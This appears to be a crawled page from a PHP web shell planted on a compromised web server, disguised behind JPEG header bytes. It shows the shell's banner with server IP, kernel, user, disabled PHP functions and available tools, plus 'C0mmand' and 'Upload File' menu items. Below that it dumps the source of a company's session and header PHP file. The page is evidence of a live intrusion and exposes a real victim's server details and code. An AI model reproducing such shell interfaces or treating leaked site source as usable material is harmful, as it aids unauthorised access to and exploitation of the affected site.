����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������
Server IP : 103.191.208.227 / Your IP : 3.129.195.113 Web Server : LiteSpeed System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64 User : mhmsfzcs ( 1485) PHP Version : 8.1.31 Disable Function : show_source, system, shell_exec, passthru, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/mhmsfzcs/vflyorions.com/.well-known/../../www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); include('db.php'); $log_id= $_SESSION['id']; $job= $_SESSION['job']; $currentTime =date('h:i:s', time ()); $toda = date("Y-m-d"); if(strlen($_SESSION['log'])==0) { if((time() - $_SESSION['last_login_timestamp']) >3300){ // 900 = 15 * 60 $query1="UPDATE profile SET stat_us=0 WHERE id=?"; $stmt1=$conn->prepare($query1); $stmt1->bind_param("i",$log_id); $stmt1->execute(); header("location:logout2.php"); } else { } } else { header('location:job/login.php'); } ?> <html lang="en"> <head> <meta charset="utf-8"> <meta content="width=device-width, initial-scale=1.0" name="viewport"> <title>Vflyorions Technologies Pvt Ltd</title> <meta content="" name="description"> <meta content="" name="keywords"> <!-- Favicons --> <link href="assets/img/vlogo.png" rel="icon"> <link href="assets/img/apple-touch-icon.png" rel="apple-touch-icon"> <!-- Google Fonts --> <link href="https://fonts.gstatic.com" rel="preconnect"> <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i|Nunito:300,300i,400,400i,600,600i,700,700i|Poppins:300,300i,400,400i,500,500i,600,600i,700,700i" rel="stylesheet"> <!-- Vendor CSS Files --> <link href="assets/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="assets/vendor/bootstrap-icons/bootstrap-icons.css" rel="stylesheet"> <link href="assets/vendor/boxicons/css/boxicons.min.css" rel="stylesheet"> <link href="assets/vendor/quill/quill.snow.css" rel="stylesheet"> <link href="assets/vendor/quill/quill.bubble.css" rel="stylesheet"> <link href="assets/vendor/remixicon/remixicon.css" rel="stylesheet"> <link href="assets/vendor/simple-datatables/style.css" rel="stylesheet"> <!-- Template Main CSS File --> <link href="assets/css/style1.css" rel="stylesheet"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/datatables/1.10.21/css/dataTables.bootstrap.min.css" integrity="sha512-BMbq2It2D3J17/C7aRklzOODG1IQ3+MHw3ifzBHMBwGO/0yUqYmsStgBjI0z5EYlaDEFnvYV7gNYdD3vFLRKsA==" crossorigin="anonymous" referrerpolicy="no-referrer" /> <link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.10.8/css/jquery.dataTables.min.css"> </head> <style type="text/css"> #timer { font-family: Arial, sans-serif; font-size: 20px; color: #999; letter-spacing: 1px; padding: 82px; } #timer span { font-size: 60px; color: #333; margin: 0 3px 0 15px; } #timer span:first-child { margin-left: 0; } a:hover { cursor:pointer; } </style> <body> <?php ?> <!-- ======= Header ======= --> <header id="header" class="header fixed-top d-flex align-items-center"> <div class="d-flex align-items-center justify-content-between"> <a href="index.php" class=" d-flex align-items-center"> <img src="job/assets/img/vlogo.png" alt="" width="125" style="margin-left: 45px; margin-right: -58px;" > </a> <i class="bi bi-list toggle-sidebar-btn" style=" margin-left: 66%;font-size: 41px;;: pointer;color: black;cursor:pointer"></i> </div><!-- End Logo --> <nav class="header-nav ms-auto"> <ul class="d-flex align-items-center"> <li class="nav-item dropdown pe-3"> <a class="nav-link nav-profile d-flex align-items-center pe-0" href="logout2.php" data-bs-toggle="dropdown"> <img src="<?php echo 'assets/img'."/". $_SESSION['image'] ; ?>" alt="Profile" class="rounded-circle"> <!--<span class="d-none d-md-block dropdown-toggle ps-2"><?php echo $_SESSION['fullname'];?></span>--> <span class="d-none d-md-block dropdown-toggle ps-2">Sign out</span> </a><!-- End Profile Iamge Icon --> <ul class="dropdown-menu dropdown-menu-end dropdown-menu-arrow profile"> <li class="dropdown-header"> <h6><?php echo $_SESSION['fullname'];?></h6> <span><?php echo $job; ?></span> </li> <li> <hr class="dropdown-divider"> </li> <li> <hr class="dropdown-divider"> </li> <li> <hr class="dropdown-divider"> </li> <li> <hr class="dropdown-divider"> </li> <li> <!-- <a class="dropdown-item d-flex align-items-center"href="logout2.php"> onclick="logout()" --> <form id="form" method="post" action="logout2.php"><button class="dropdown-item d-flex align-items-center" onclick="submit()"><i style="cursor: pointer;" class="bi bi-box-arrow-right"></i>Sign out</button></form> <!-- <i class="bi bi-box-arrow-right"></i> <span>Sign Out</span> </a> --> </li> </ul><!-- End Profile Dropdown Items --> </li><!-- End Profile Nav --> </ul> </nav><!-- End Icons Navigation --> <!-- --> </header><!-- End Header --> <!--this script using for onclick update the logout page--> <script> function submit(){ let form = document.getElementById("form"); form.submit(); //alert("data stored in database!"); } </script> <?php ?> <!--for max time auto destroy using php //Set the session duration for 30 minute $duration = 30; //Set the maxlifetime of the session ini_set( "session.gc_maxlifetime", $duration ); //Set the cookie lifetime of the session ini_set( "session.cookie_lifetime", $duration ); //Read the request time of the user $time = $_SERVER['REQUEST_TIME']; //Check the user's session exist or not if(strlen($_SESSION['log'])==0) { //if((time() - $_SESSION['last_login_timestamp']) >3300){ // 900 = 15 * 60 //Check the user's session exist or not if (isset($_COOKIE['last_login_timestamp'])){ setcookie($time - $_COOKIE['last_login_timestamp'], time() + $duration, '/'); //{ $query1="UPDATE profile SET stat_us=0 WHERE id=?"; $stmt1=$conn->prepare($query1); $stmt1->bind_param("i",$log_id); $stmt1->execute(); header("location:logout2.php"); } else { //Set the time of the user's last activity $_SESSION['last_login_timestamp'] = $time; } } else { header('location:job/login.php'); } -->